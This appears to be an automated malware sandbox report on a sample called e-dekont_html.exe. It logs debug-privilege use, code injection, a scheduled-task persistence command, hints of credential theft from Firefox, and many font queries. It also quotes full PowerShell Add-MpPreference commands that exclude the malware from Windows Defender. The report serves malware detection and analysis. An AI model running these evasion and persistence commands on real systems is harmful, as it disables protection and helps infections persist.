Source: e-dekont_html.exe, 00000008.00000002.4158801476.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4160104239.0000000001678000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\e-dekont_html.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory written: C:\Users\user\Desktop\e-dekont_html.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory written: C:\Users\user\AppData\Roaming\fahKSvwo.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp" Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp" Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe "C:\Users\user\AppData\Roaming\fahKSvwo.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Users\user\Desktop\e-dekont_html.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
